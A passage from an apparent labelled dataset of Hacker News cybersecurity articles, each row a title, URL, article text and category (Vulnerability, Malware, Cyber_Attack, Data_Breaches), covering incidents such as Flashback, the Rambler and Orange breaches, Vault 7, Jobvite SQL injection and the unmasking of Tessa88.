No data has been dumped by Hackers. Database has been accessed just to take screenshots so that we can make company believethat the vulnerability actually exist.

Source

",Vulnerability
More than 600000 Macs system infected with Flashback Botnet,https://thehackernews.com/2012/04/more-than-600000-macs-system-infected.html,"More than 600000 Macs system infected with Flashback Botnet

The computer security industry is buzzing with warnings that more than half a million Macintosh computers may have been infected with a virus targeting Apple machines.

Dr. Web originally reported Wednesday that 550,000 Macintosh computers were infected by the growing Mac botnet. But later in the day, Dr. Web malware analyst Sorokin Ivan announced on Twitter that the number of Macs infected with Flashback had increased to 600,000, with 274 of those based in Cupertino, Calif.

Dr. Web explained that a system gets infected with the Mac Flashback trojan ""after a user is redirected to a bogus site from a compromised resource or via a traffic distribution system."" A specific JavaScript code on the site that contains the virus is then used to load a Java applet, which is how the malware makes its way onto a user's computer.

This Trojan spreads via infected web pages and exploits Java vulnerabilities that have been known for some time, yet Apple didn't see fit to release a patch until this week (Java for Mac OS X 10.6 Update 7 and Java for OS X Lion 2012-001).

Macs have historically been an unappealing hacking target because of their low market share. Instead, criminals have attacked personal computers running Microsoft Corp.'s Windows software, seeking the biggest number of victims for illicit moneymaking schemes. Windows runs on more than 90 percent of the world's desktop computers, according to market researcher Net Applications.

'All the stuff the bad guys have learnt for doing attacks in the PC world is now starting to transition to the Mac world,' McAfee Labs director of threat intelligence Dave Marcus told.

Once installed, the Flashback will inject code into Web browsers and other applications like Skype to harvest passwords and other information from those program's users.Security company F-Secure has published instructions on how to determine whether a Mac is infected with Flashback.

'There has been a significant increase in Mac malware in the last several quarters, so what we've seen with the Flashback Trojan isn't particularly surprising,' Marcus said.'Cybercriminals will attack any operating system with valuable information, and as the popularity of Macs increase, so will attacks on the Mac platform.'

",Malware
Cisco Releases Security Patches for Critical Flaws Affecting its Products,https://thehackernews.com/2021/02/cisco-releases-security-patches-for.html,"Cisco has addressed a maximum severity vulnerability in its Application Centric Infrastructure (ACI) Multi-Site Orchestrator (MSO) that could allow an unauthenticated, remote attacker to bypass authentication on vulnerable devices.
""An attacker could exploit this vulnerability by sending a crafted request to the affected API,"" the company said in an advisory published yesterday. ""A successful exploit could allow the attacker to receive a token with administrator-level privileges that could be used to authenticate to the API on affected MSO and managed Cisco Application Policy Infrastructure Controller (APIC) devices.""
The bug, tracked as CVE-2021-1388, ranks 10 (out of 10) on the CVSS vulnerability scoring system and stems from an improper token validation in an API endpoint of Cisco ACI MSO installed the Application Services Engine. It affects ACI MSO versions running a 3.0 release of the software.
The ACI Multi-Site Orchestrator lets customers monitor and manage application-access networking policies across Cisco APIC-based devices.
Separately, the company also patched multiple flaws in Cisco Application Services Engine (CVE-2021-1393 and CVE-2021-1396, CVSS score 9.8) that could grant a remote attacker to access a privileged service or specific APIs, resulting in capabilities to run containers or invoke host-level operations, and learn ""device-specific information, create tech support files in an isolated volume, and make limited configuration changes.""
Both the flaws were a result of insufficient access controls for an API running in the Data Network, Cisco noted.
The networking major said the aforementioned three weaknesses were discovered during internal security testing but added it detected no malicious attempts exploiting the vulnerabilities in the wild.
Lastly, Cisco fixed a vulnerability (CVE-2021-1361, CVSS score 9.8) in the implementation of an internal file management service for Cisco Nexus 3000 Series Switches and Cisco Nexus 9000 Series Switches running NX-OS, the company's network operating system used in its Nexus-branded Ethernet switches.
This could allow a bad actor to create, delete, or overwrite arbitrary files with root privileges on the device, the company cautioned, including permitting the attacker to add a user account without the device administrator's knowledge.
Cisco said Nexus 3000 and Nexus 9000 switches running Cisco NX-OS Software Release 9.3(5) or Release 9.3(6) are vulnerable by default.
""This vulnerability exists because TCP port 9075 is incorrectly configured to listen and respond to external connection requests,"" Cisco outlined in the adversary. ""An attacker could exploit this vulnerability by sending crafted TCP packets to an IP address that is configured on a local interface on TCP port 9075.""
The patches come weeks after Cisco rectified as many as 44 flaws in its Small Business routers that could potentially allow an unauthenticated, remote attacker to execute arbitrary code as a root user and even cause a denial-of-service condition.

",Vulnerability
19-Year-Old Hacker Arrested Over Making Hoax School and Flight Bomb Threats,https://thehackernews.com/2018/09/cohan-hoax-bomb-threats.html,"British police have arrested a 19-year-old teen who is an alleged member of Apophis Squad cybercriminal group responsible for making hoax bomb threats to thousands of schools and airlines; and DDoSing ProtonMail and Tutanota secure email services.

George Duke-Cohan was arrested in his bedroom at his family home in Watford by British National Crime Agency (NCA) on 31st August and pledged guilty to three counts of making bomb threats to schools and airlines in Luton Magistrates' Court on Monday.

Duke-Cohan spammed out more than 24,000 emails to schools across the UK and in the US as well, claiming that pipe bombs had been planted on the premises, which would blow up the building if $5,000 extortion money was not made within 3 hours.

He Got Arrested Third-Time For Making Hoax Bomb Threats

This is not the first time Duke-Cohan has been arrested for spreading fake bomb threats.

He first created panic in March this year when he emailed thousands of schools in the UK warning about an explosive, which resulted in 400 schools across the country being evacuated.

Duke-Cohan was then arrested in April for the first time. However, while under investigation, he sent another batch of hoax emails (24,000 emails in total) to schools in the United States and the UK, claiming that pipe bombs had been planted on the premises.

Duke-Cohan was arrested for the second time for making further hoax bomb threats. He was then released on bail under the condition he did not use any electronic device.

However, while on bail for the two previous offenses, Duke-Cohan posing as a concerned father phoned San Francisco Airport and their police officers, claiming that his daughter told him her flight was hijacked by gunmen, one of whom has a bomb.

The plane, United Airlines Flight 949 between the UK and San Francisco, was then forced to quarantined and extensively searched, which led to disruption to all 295 passengers journeys and financial loss to the airline.

Duke-Cohan was arrested for the third time at his home in Watford, Hertfordshire, on 31 August and found to be in possession of multiple electronic devices, despite the restrictions in place.

He Is Also A Key Member of 'Apophis Squad' Criminal Group

At the time of Duke-Cohan's third hoax, a Hacker group calling itself Apophis Squad claimed flight UA949 was grounded due to their actions in a post on Twitter on August 9.

A blog post published today by ProtonMail also confirms that Duke-Cohan was a key member of Apophis Squad, the same criminal group which was also involved in cyberattacks against ProtonMail, which remained under attack through much of August.

ProtonMail strongly states that the service is committed to privacy, security, and freedom of information, but the same does not apply to people who are engaged in criminal activities, and ""will actively pursue all those who try to harm ProtonMail and bring them to justice.""

""To fulfill this commitment, we are willing to commit all necessary financial, legal, and technical resources,"" the company states.

While investigating the attacks against its secure mailing service, ProtonMail discovered that some members of Apophis Squad were also ProtonMail users, which was confirmed when a number of law enforcement agencies submitted MLAT requests, asking the company to ""render assistance to the extent that is possible given ProtonMail encryption.""
""What we found, combined with intelligence provided by a trusted source, allowed us to conclusively identify Duke-Cohan as a member of Apophis Squad in the first week of August, and we promptly informed law enforcement,"" ProtonMail says.
However, the British police did not immediately arrest Duke-Cohan until his third hoax involving United Airlines Flight 949, making it necessary for British police to take action and detain Duke-Cohan.

On Monday, Duke-Cohan pleaded guilty in a UK court to three counts of making bomb threats to schools and airlines, and ProtonMail also believes he could possibly be extradited to the US to face charges.

Duke-Cohan has been remanded in custody and will be sentenced at Luton Crown Court on September 21.

Meanwhile, ProtonMail said several other hackers who were behind DDoS attacks against its service were also identified and the authorities are working together to prosecute them.

",Cyber_Attack
"800,000 Customers' detail stolen in Data Breach at French Telecom 'Orange'",https://thehackernews.com/2014/02/800000-customer-details-stolen-in-data_2.html,"One of the world's largest mobile operator 'Orange' has been hit by data breach.

The French multinational telecommunication company announced recently, it was targeted by unknown hackers on 16th January 2014, who allegedly gained access to the accounts of up to 800,000 customers of Orange website.

According to a report published on the PC INpact website, the company warned their customers in an email that their Client Area website orange.fr was hacked and personal data of 3% customers have been stolen, but the passwords are not affected.

The hacker has successfully stolen customers' names, mailing address, email, landline and mobile phone numbers.

The company warned, with the information lost in this attack, hackers can perform phishing attacks, allowing them to steal personal data, including bank account details and passwords by sending emails that look as if they have come from official sources.

Orange has confirmed the data breach, and after the discovery of the attack, they closed ""My Account"" page from the website quickly for a few hours as a precaution.

Orange customers should, of course, change their security details of the affected accounts.

",Data_Breaches
Russia's Largest Portal HACKED; Nearly 100 Million Plaintext Passwords Leaked,https://thehackernews.com/2016/09/russias-largest-portal-hacked-nearly.html,"Another data breach from 2012, and this time, it's Russia's biggest internet portal and email provider Rambler.ru.

Rambler.ru, also known as Russia's Yahoo, suffered a massive data breach in 2012 in which an unknown hacker or a group of hackers managed to steal nearly 100 Million user accounts, including their unencrypted plaintext passwords.

The copy of the hacked database obtained by the breach notification website LeakedSource contained details of 98,167,935 Rambler.ru users that were originally stolen on 17 February 2012, but went unreported.

The leaked user records in the database included usernames, email addresses, ICQ numbers (IM chat service), social account details, passwords and some internal data, the data breach indexing site said in a blog post.

The data breach was reported by the same hacker using the daykalif@xmpp.jp Jabber ID who handed LeakedSource over 43.5 Million user records from another 2012 hack suffered by the Last.fm music streaming service.

According to LeakedSource, none of the passwords were hashed, meaning the company stored its user's password in an unencrypted plain text format that could allow the company as well as hackers to see passwords easily.

This is something similar to the VK.com breach, in which 171 Million users' accounts were taken from the Russian social networking site, where passwords were also stored in plaintext format, without any hashing or salting.

Again, as expected, the most common passwords used by Rambler.ru users, includes ""asdasd,"" ""123456,"" ""000000,"" ""654321,"" ""123321,"" or ""123123.""

LeakedSource has added the data into its database; so Rambler.ru users can check if they have been compromised by searching their account at Leaked Source's search engine.

Rambler.ru is the latest victim to join the list of ""Mega-Breaches"" revealed in recent months, when hundreds of Millions of online credentials from years-old data breaches on popular services, including LinkedIn, MySpace, VK.com, Tumblr, and Dropbox, were exposed online.

Rambler has yet to respond to the incident.

The Bottom Line:

Users are advised to change their passwords for Rambler.ru account as well as other online accounts immediately, especially those using the same passwords.

Moreover, I always encourage users to make use of password managers that create strong and complex passwords for different websites as well as remember them on your behalf.

I have listed some of the best password managers that could help you understand the importance of password manager as well as choose one according to your requirement.

",Data_Breaches
Gmail warning Myanmar Journalists about State-sponsored attacks,https://thehackernews.com/2013/02/gmail-warning-myanmar-journalists-about.html,"Several Myanmar journalists have recently received warnings from Google that their Gmail accounts may have been targets of state-sponsored attacks. After they login to their Gmail accounts, warning message,""We believe state-sponsored attackers may be attempting to compromise your account or computer"" was displayed on top as shown.

Google had begun the policy of notifying users of suspicious activity in June. ""We are constantly on the lookout for malicious activity on our systems, in particular attempts by third parties to log into users' accounts unauthorized."" Google said in a blog post.

""If you see this warning it does not necessarily mean that your account has been hijacked. It just means that we believe you may be a target, of phishing or malware for example, and that you should take immediate steps to secure your account.""

The Voice Weekly Journal's editor Aung Soe, Aye Aye Win, a Myanmar correspondent for the Associated Press, and Myat Thura, a Myanmar correspondent for the Kyodo News Agency have also received warnings from Google about these attempted attacks.

Nytimes reported, The news media in Myanmar were highly censored and restricted during five decades of military rule, but the government has lifted many of those restrictions since President Thein Sein came to power nearly two years ago.

",Malware
Iranian Hackers Using Remote Utilities Software to Spy On Its Targets,https://thehackernews.com/2021/03/iranian-hackers-using-remote-utilities.html,"Hackers with suspected ties to Iran are actively targeting academia, government agencies, and tourism entities in the Middle East and neighboring regions as part of an espionage campaign aimed at data theft.
Dubbed ""Earth Vetala"" by Trend Micro, the latest finding expands on previous research published by Anomali last month, which found evidence of malicious activity aimed at UAE and Kuwait government agencies by exploiting ScreenConnect remote management tool.
The cybersecurity firm linked the ongoing attacks with moderate confidence to a threat actor widely tracked as MuddyWater, an Iranian hacker group known for its offensives primarily against Middle Eastern nations.
Earth Vetala is said to have leveraged spear-phishing emails containing embedded links to a popular file-sharing service called Onehub to distribute malware that ranged from password dumping utilities to custom backdoors, before initiating communications with a command-and-control (C2) server to execute obfuscated PowerShell scripts.
The links themselves direct victims to a .ZIP file that contains a legitimate remote administration software developed by RemoteUtilities, which is capable of downloading and uploading files, capturing screenshots, browsing files and directories, and executing and terminating processes.
Affected Countries
Noting that the tactics and techniques between the two campaigns that distribute RemoteUtilities and ScreenConnect are broadly similar, Trend Micro said the targets of the new wave of attacks are mainly organizations located in Azerbaijan, Bahrain, Israel, Saudi Arabia, and the UAE.
In one particular instance involving a compromised host in Saudi Arabia, the researchers found that the adversary tried to unsuccessfully configure SharpChisel — a C# wrapper for a TCP/UDP tunneling tool called chisel — for C2 communications, before downloading a remote access tool, a credential stealer, and a PowerShell backdoor capable of executing arbitrary remote commands.
""Earth Vetala represents an interesting threat,"" Trend Micro said. ""While it possesses remote access capabilities, the attackers seem to lack the expertise to use all of these tools correctly. This is unexpected since we believe this attack is connected to the MuddyWater threat actors — and in other connected campaigns, the attackers have shown higher levels of technical skill.""

",Cyber_Attack
WikiLeaks Reveals How CIA Malware Tracks Geo-Location of its Targeted,https://thehackernews.com/2017/06/wikileaks-cia-malware-geolocation.html,"WikiLeaks has just published a new batch of the ongoing Vault 7 leak, and this time the whistleblowing website has unveiled a classified malware for that tracks geo-location of targeted PCs and laptops running the Microsoft Windows operating system.

In short, the malware does it by capturing the IDs of nearby public hotspots and then matching them with the global database of public Wi-Fi hotspots' locations.

Dubbed ELSA, the alleged CIA's project consists of two main elements: the processing component (Operator Terminal) and the implant (Windows Target) which is typically being deployed on a target Windows host.

Here's How the CIA's ELSA Malware Works

The Elsa system first installs the malware on a targeted WiFi-enabled machine using separate CIA exploits to gain persistent access on the device.

The malware then uses Wi-Fi hardware of the infected computer to scan nearby visible WiFi access points (AP) and records their ESSID – stands for Extended Service Set Identifier (IEEE 802.11 wireless networking), MAC address and signal strength at regular intervals.

In order to perform this data collection, the ELSA malware does not require the targeted computer to be connected to the Internet. Instead, it only requires the malware to be running on a device with Wi-Fi enabled.
""If [the target device] is connected to the internet, the malware automatically tries to use public geo-location databases from Google or Microsoft to resolve the position of the device and stores the longitude and latitude data along with the timestamp,"" WikiLeaks notes.
The collected information is then stored in encrypted form on the targeted device for later exfiltration.

The CIA malware itself doesn't beacon (transfer) this data to the agency's server, instead, the operator (CIA hacker) downloads the encrypted log files from the device using separate CIA exploits and backdoors.

The operator then decrypts the log files and performs further analysis on their target.

The ELSA project allows CIA hackers to customize or modify the implant depending upon the target environment and operational objectives such as ""sampling interval, the maximum size of the log file and invocation/persistence method.""

The CIA hacker (operator) then uses additional back-end software to match collected access point data from exfiltrated log files with public geolocation databases (from Google and Microsoft) and finds the exact location of their target.

Previous Vault 7 CIA Leaks

Last week, WikiLeaks dumped an alleged CIA tool suite for Microsoft Windows, dubbed Brutal Kangaroo, that targets closed networks or air-gapped computers within an organization or enterprise without requiring any direct access.

Since March, the whistleblowing group has published 12 batches of ""Vault 7"" series, which includes the latest and last week leaks, along with the following batches:


Cherry Blossom – a CIA's framework, basically a remotely controllable firmware-based implant, used for monitoring the Internet activity of the targeted systems by exploiting vulnerabilities in Wi-Fi devices.
Pandemic – a CIA's project that allowed the agency to turn Windows file servers into covert attack machines that can silently infect other computers of interest inside a targeted network.
Athena – A CIA's spyware framework that has been designed to take full control over the infected Windows PCs remotely, and works against every version of Microsoft's Windows operating systems, from Windows XP to Windows 10.
AfterMidnight and Assassin – Two apparent CIA malware frameworks for the Microsoft Windows platform that has been designed to monitor and report back actions on the infected remote host computer and execute malicious actions.
Archimedes – A man-in-the-middle attack tool allegedly developed by the agency to target computers inside a Local Area Network (LAN).
Scribbles – Software supposedly designed to embed 'web beacons' into confidential documents, allowing the CIA to track insiders and whistleblowers.
Grasshopper – A framework that allowed the CIA to easily create custom malware for breaking into Microsoft's Windows and bypassing antivirus protection.
Marble – Disclosed the source code of a secret anti-forensic framework used by the agency to hide the actual source of its malware.
Dark Matter – Hacking exploits the CIA designed to target iPhones and Macs.
Weeping Angel – Spying tool used by the spy agency to infiltrate smart TV's, transforming them into covert microphones.
Year Zero – CIA hacking exploits for popular hardware and software.

",Cyber_Attack
Jobvite Recruitment Service Website Vulnerable to Hackers,https://thehackernews.com/2014/08/jobvite-recruitment-service-website_4.html,"Jobvite, a recruiting platform for the social web, is found vulnerable to the most common, but critical web application vulnerabilities that could allow an attacker to compromise and steal the database of the company's website.

Jobvite is a Social recruiting and applicant tracking created for companies with the highest expectations of recruiting technology and candidate quality. Growing companies use Jobvite's social recruiting, sourcing and talent acquisition solutions to target the right talent and build the best teams.

An independent security researcher Mohamed M. Fouad from Egypt, has found two major flaws in Jobvite website that could be used by an attacker to comprise the company's web server. As a responsible security researcher, Fouad also reported the critical flaws three months ago to the Jobvite team, but the company didn't fix it till now.

According to Fouad, Jobvite is vulnerable to Boolean SQLi (SQL injection) and LFI (local file inclusion) vulnerabilities, which he found was one of the best security vulnerabilities he has ever discovered.

SQL INJECTION VULNERABILITY
SQLi or SQL injection is one of the many web attack mechanisms used by hackers to steal data from organizations. It is perhaps one of the most common application layer attack techniques used today. The attackers take advantage of improper coding of your web applications that allows them to inject SQL commands into, say, a login form to allow them to gain access to the data held within your database.

Mohamed told The Hacker News that SQLi vulnerability in the Jobvite website allows him to gain access to the company's website database which includes the confidential data of its admin users (jobvite employees) along with their emails, hashing salt and hashed passwords.

LFI VULNERABILITY
LFI or Local File Inclusion is a type of vulnerability most often found on websites that allows an attacker to include a local file, usually through a script on the web server, which occurs due to the use of user-supplied input without proper validation. This can lead to code execution on the web server or on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS), Denial of service (DoS) and Data theft or manipulation.

Using Jobvite LFI vulnerability an attacker can get access to the critically important files stored on the web server i.e. /etc/passwd or /etc/hosts. Fouad used the LFI flaw which allowed him to view all the company's LINUX server user accounts exists.

SQLi VULNERABILITY STILL GOES UN-PATCH
According to Fouad, the company has not given any acknowledgment regarding SQLi flaw, neither has fixed it yet, that left Jobvite CMS database vulnerable to hackers.
When The Hacker News asked Fouad about the fixes, he replied, ""I think they fixed LFI because it's not working now but during my attack I got all LINUX USERS. But The site is still vulnerable to the SQLi vulnerability.""
""I approached the company 6 times during the last 4 months but I got no reply specifically from ""Mahesh,"" the security consultant, Jobvite security. I dont know what about their plan for SQLi fix but the last reply was 4 months ago,"" he added.
Fouad believes that this critical vulnerability may also impact Odesk website due to the integration between them but he is still investigating the issue.

UPDATE
Jobvite's CTO 'Adam Hyder', told The Hacker News that the website is using ""SilverStripe"" an open source CMS to hosts Jobvite marketing content only.

""Our corporate site does not contain any application or customer data. Jobvite application and customer data are completely secure."" he said.

But SQL Injection vulnerability in the SilverStripe CMS exposes the jobvite login employee's credentials to an attacker.

UPDATE 2
SilverSprite told researcher that the SQLi vulnerability exists in the Jobvite's website because of their own custom codes, not originated from default CMS.

",Vulnerability
Italy CERT Warns of a New Credential Stealing Android Malware,https://thehackernews.com/2021/01/italy-cert-warns-of-new-credential.html,"Researchers have disclosed a new family of Android malware that abuses accessibility services in the device to hijack user credentials and record audio and video.
Dubbed ""Oscorp"" by Italy's CERT-AGID and spotted by AddressIntel, the malware ""induce(s) the user to install an accessibility service with which [the attackers] can read what is present and what is typed on the screen.""
So named because of the title of the login page of its command-and-control (C2) server, the malicious APK (called ""Assistenzaclienti.apk"" or ""Customer Protection"") is distributed via a domain named ""supportoapp[.]com,"" which upon installation, requests intrusive permissions to enable the accessibility service and establishes communications with a C2 server to retrieve additional commands.
Furthermore, the malware repeatedly reopens the Settings screen every eight seconds until the user turns on permissions for accessibility and device usage statistics, thus pressurizing the user into granting the extra privileges.
Once the access is provisioned, the malware exploits the permissions to log keystrokes, uninstall apps on the device, make calls, send SMS messages, steal cryptocurrency by redirecting payments made via Blockchain.com Wallet app, and access two-factor authentication codes from Google Authenticator app.
The attacker-controlled wallet had $584 as of January 9, the researchers said.
In the final step, the malware exfiltrates the captured data — along with system information (e.g., apps installed, phone model, carrier) — to the C2 server, in addition to fetching commands from the server that allows it to launch the Google Authenticator app, steal SMS messages, uninstall apps, launch specific URLs, and record audio and video of the screen through WebRTC.
What's more, users opening the apps targeted by the malware are displayed a phishing page that asks for their username and password, CERT noted, adding the style of this screen varies from app to app and that it's designed with an intent to trick the victim into providing the information.
The exact kind of applications singled out by this malware remains unclear, but the researchers said it could be any app that deals with sensitive data, such as those for banking and messaging.
""Android protections prevent malware from doing any kind of damage until the user enables [accessibility] service,"" CERT-AGID concluded. ""Once enabled, however, a 'dam' opens up. In fact, Android has always had a very permissive policy towards app developers, leaving the ultimate decision to trust an app or not to the end user.""

",Cyber_Attack
"Snapchat app vulnerable to denial-of-service attack, allows remotely crash iPhone",https://thehackernews.com/2014/02/hack-Snapchat-denial-of-service-attack-vulnerability.html,"SNAPCHAT, photo sharing app is the majority choice for variety of users. Recently, the company has faced data breach and Captcha bypass vulnerability, and just yesterday a new denial-of-service attack has been revealed which can crash an iPhone.

Jamie Sanchez, a security researcher has found the app vulnerable, which can enable a hacker to launch a denial-of-service attacks, resulting prompt the user to reset the mobile device.

The flaw into the Snapchat app allows someone to flood a user with thousands of messages in a measure of seconds, ""By reusing old tokens, hackers can send massive amounts of messages using powerful computers. This method could be used by spammers to send messages in mass quantities to numerous users, or it could be used to launch a cyber attack on specific individuals"" he said.
He demonstrated the vulnerability to LA Times reporter, bombarded his handset with thousands of messages within five seconds in a denial-of-service attack, which caused his iPhone to freeze until it restarted.

Snapchat's Android app is not much vulnerable to this denial-of-service attack, but it impacts on the performance of the phone and leave snapchat app useless until the attack is over. Jamie Sanchez declined to contact Snapchat with his findings as he believes the company has no respect for the cyber security research community after ignoring previous app vulnerability reports.

This is the third time in the past 10 weeks when snapchat has no prior information about the security flaws and reacted immediately after public disclosure of the vulnerability.

Update: Snapchat reacted, ""We are working to resolve the issue and will be reaching out to the security researcher who publicized the attack to learn more."".

",Vulnerability
Google+ to Shut Down Early After New API Flaw Hits 52.5 Million Users,https://thehackernews.com/2018/12/google-plus-hacking.html,"Google today revealed that Google+ has suffered another massive data breach, forcing the tech giant to shut down its struggling social network four months earlier than its actual scheduled date, i.e., in April 2019 instead of August 2019.

Google said it discovered another critical security vulnerability in one of Google+'s People APIs that could have allowed developers to steal private information on 52.5 million users, including their name, email address, occupation, and age.

The vulnerable API in question is called ""People: get"" that has been designed to let developers request basic information associated with a user profile.

However, software update in November introduced the bug in the Google+ People API that allowed apps to view users' information even if a user profile was set to not-public.

Google engineers discovered the security issue during standard testing procedures and addressed it within a week of the issue being introduced.

The company said it found no evidence that the vulnerability was exploited or its users' data was misused by any third-party app developers.

""No third party compromised our systems, and we have no evidence that the app developers that inadvertently had this access for six days were aware of it or misused it in any way,"" Google said.

Google also assured its users that no passwords, financial data, national identification numbers or any other sensitive data were left exposed by this API bug.

Almost two months ago, Google disclosed a massive data breach that exposed private data of more than 500,000 Google+ users to third-party developers, and also announced to shut down Google+ for consumers by the end of August 2019 due to its failure in gaining broad adoption or significant traction with its consumers.

""Our review showed that Google+ is better suited as an enterprise product where co-workers can engage in internal discussions on a secure corporate social network,"" Google said in October.

However, following yet another security incident, Google said the company is going to shut down its social media network in April 2019 instead of August.
",Data_Breaches
Social Engineering Skype Support team to hack any account instantly,https://thehackernews.com/2013/04/social-engineering-skype-support-team.html,"You can install the industry's strongest and most expensive firewall. You can educate employees about basic security procedures and the importance of choosing strong passwords. You can even lock-down the server room, but how do you protect a company from the threat of social engineering attacks?

For any of you that are involved in security awareness efforts, you know what I am talking about. It could happen tomorrow, it could happen today or it might already have happened.


In a recent disclosure posted by renowned hacker and developer DarkCoderSc (Jean-Pierre LESUEUR) explained that how one can easily Socially Engineer Microsoft Skype Support team to get access to any skype account.

From a social engineering perspective, employees are the weak link in the chain of security measures in place. He simply used the weakness of Skype password recovery system itself.

One simply need to request a new password to Skype support and asking to change the password. After the initial step one needs to proof the real ownership of the account requested. You must give 5 contacts accounts to the support desk.

""That's easy because you just have to add 5 fake temporary accounts to the target account and its done. Another option is to simply ask the target what people he know on Skype. That option wasn't that hard because I have over 1000 contacts."" he suggests the trick.

Within few seconds attacker can become owner of any victim account by proving very basic information to support team.

""Also Microsoft's Support Team should make a serious effort to communicate better to their customers. At the moment they do not seem to care that much about their customers.""

Social engineering is the act of manipulating a person into gaining access or sensitive data by preying on basic human psychology. Still, There is no patch for human stupidity!

",Vulnerability
Instagram Hacker Puts 6 Million Celebrities Personal Data Up For Sale On DoxaGram,https://thehackernews.com/2017/09/instagram-hack-doxagram.html,"It's now official, Instagram has suffered a massive data breach, and reportedly an unknown hacker has stolen personal details of more than 6 million Instagram accounts.

Just yesterday, we reported that Instagram had patched a critical API vulnerability that allowed the attacker to access phone numbers and email addresses for high-profile verified accounts.

However, Instagram hack now appears to be more serious than initially reported.

Not just a few thousands of high-profile users—it's more than 6 million Instagram users, including politicians, sports stars, and media companies, who have had their Instagram profile information, including email addresses and phone numbers, available for sale on a website, called Doxagram.

The suspected Instagram hacker has launched Doxagram, an Instagram lookup service, where anyone can search for stolen information only for $10 per account.

A security researcher from Kaspersky Labs, who also found the same vulnerability and reported it to Instagram, told The Hacker News that the issue actually resided in the Instagram's mobile API, specifically in the password reset option, which apparently exposed mobile numbers and email addresses of the users in the JSON response—but not passwords.
Instagram has not confirmed the hacker's claims yet, but the company said Friday it is investigating the data breach.

The news comes three days after an unknown hacker hijacked most-followed-account on Instagram belonged to Selena Gomez—with over 125 Million followers—and posted her ex-boyfriend Justin Bieber's full-frontal nude photographs.

However, Instagram did not confirm if the recent data breach was related to Selena's hacked account.

The company had already notified all of its verified users of the issue via emails and also encouraged them to be cautious if they receive any suspicious or unrecognised phone call, text message, or email.

With email addresses and phone numbers in hand, the hacker's next step could be used the stolen info in tandem with social engineering techniques to gain access to verified Instagram accounts and post on their behalves in order to embarrass them.

Instagram users are also highly recommended to enable two-factor authentication on their accounts and always secure them with a robust and different password.

Additionally, avoid clicking on suspicious links and attachments you receive in an email and providing your personal or financial details without verifying the source properly.

",Data_Breaches
"Real Identity of Hacker Who Sold LinkedIn, Dropbox Databases Revealed",https://thehackernews.com/2018/11/tessa88-russian-hacker.html,"The real identity of Tessa88—the notorious hacker tied to several high-profile cyber attacks including the LinkedIn, DropBox and MySpace mega breaches—has been revealed as Maksim Vladimirovich Donakov (Максим Владимирович Донаков), a resident of Penza, Russian Federation.

In early 2016, a hacker with pseudonym Tessa88 emerged online offering stolen databases from some of the biggest social media websites in the world, including LinkedIn, MySpace, VKontakte (vk.com), Dropbox, Rambler, and Twitter, for sale in various underground hacking forums.

The stolen data, taken years ago from several social media sites, included more than half a billion username and password combinations, which were then used in phishing, account takeover, and other cyber attacks.

Though Tessa88's profile was active for a few months between February and May 2016, the OPSEC analysis revealed that the same person was involved in various cybercriminal activities since as early as 2012 under different aliases including ""Paranoy777,"" ""tarakan72511,"" ""stervasgoa,"" ""janer93"" and ""Daykalif.""

Unmasking ""Tessa88""

Researchers with US-based threat intelligence firm Recorded Future's Insikt Group used a combination of their own data, dark web activity, multiple chats and email accounts associated with Tessa88 to find a connection between his other online aliases, and collected information from publicly available sources to unveil his true identity.

Tarakan72511 → Tessa88 → Donakov

Researchers identified an online account ""tarakan72511"" on Imgur, a popular online image sharing service, who posted screenshots of discussions regarding the Yahoo and Equifax breaches. On the same account Tarakan72511 also posted his real picture titled ""tessa88"" in 2017, which links Donakov with tarakan72511 and tessa88.

Tessa88 → Donakov with Guy Fawkes mask

Another member of an underground forum, TraX, shared a photo of Tessa88, showing a man on the car roof with his face hidden behind Guy Fawkes mask, whose body type and hairstyle resemble with the picture of Tessa88 posted by tarakan72511.

Tarakan72511 → Russian Car with Guy Fawkes mask → Tessa88

Researchers also identified a YouTube account with a similar username—Tarakan72511 Donakov—who posted a video showing someone feeding stray dogs. The video also revealed a style Guy Fawkes mask (same as worn in the picture posted by TraX) in the boot of a Mitsubishi Lancer car with the registration number K652BO 58.

All Evidences Leads to Maksim Vladimirovich Donakov

After exploring several confidential sources, Penza records, and Russian crime database, researchers find Tessa88 as Maksim Vladimirovich Donakov (date of birth: 02/07/1989), whose persona matches with the YouTube username 'Donakov,' Mitsubishi Lancer and person revealed in Imgur picture.

Maksim Vladimirovich Donakov committed several crimes in Russia, including a car accident while driving a Mitsubishi Lancer in 2017. He also served jail time after committing another crime in 2014.

After the comprehensive investigation, Recorded Future, with a ""high degree of confidence, concluded that Donakov is the man behind the sale of the extensive databases, including 32 million Twitter accounts, 360 million Myspace credentials, and 500 million Yahoo accounts.

It is also believed that Donakov have sold data stolen from VKontakte (vk.com), Mobango, Badoo, QIP, and Rambler on various underground forums.

At the time of a series of so-called 'mega breaches' in 2016, another online alias that came up was Peace_of_Mind — a separate hacker who was seen selling 117 Million LinkedIn emails and passwords and 200 million Yahoo accounts in 2016 on the currently defunct TheRealDeal Market.

According to Recorded Future, Tessa88 and Peace_of_Mind made an agreement in May 2016 on sharing some of the stolen databases in a ""likely attempt to expedite monetizing the massive amount of data between the two.""

The LinkedIn breach resulted in the arrest of Russian national Yevgeniy Nikulin (Евгений Никулин) in October 2016 by the FBI in the Czech Republic, who was later extradited to the United States. However, until today, no clear evidence links Nikulin to Peace_of_Mind.

It should be noted that neither Tessa88 nor Peace_of_Mind was the actual hacker who breached the aforementioned companies. Both were involved in the selling of the already stolen databases, but not in performing the actual hacks, though the exact methods used to steal the databases are also unknown.

Recorded Future hopes that the upcoming criminal case of Nikulin, who is now also a person of ""great interest"" in the US probe of Russia's meddling in the US presidential election, will shed some light on the gaps in the story.

",Data_Breaches
Microsoft's Social network Yammer vulnerable to OAuth Bypass hack,https://thehackernews.com/2013/08/microsofts-social-network-yammer.html,"Yammer, is the Enterprise Social Network service that was launched in 2008 and sold to Microsoft in 2012. Yammer is a secure, private social network for your company. Yammer is used for private communication within organizations or between organizational members and pre-designated groups, making it an example of enterprise social software.

Ateeq Khan, Pakistani researcher from The Vulnerability Laboratory Research team has discovered multiple critical Vulnerabilities in the Microsoft Yammer Social Network.

An OAuth bypass session token web vulnerability is detected in the official Microsoft Yammer Social Network online-service application.

OAuth is an emerging authorization standard that is being adopted by a growing number of sites such as Twitter, Facebook, Google, Yahoo!, Netflix, Flickr, and several other Resource Providers and social networking sites.
According to the advisory, The vulnerability allows remote attackers to bypass the token protection to compromise the account Auth system of the web-application.

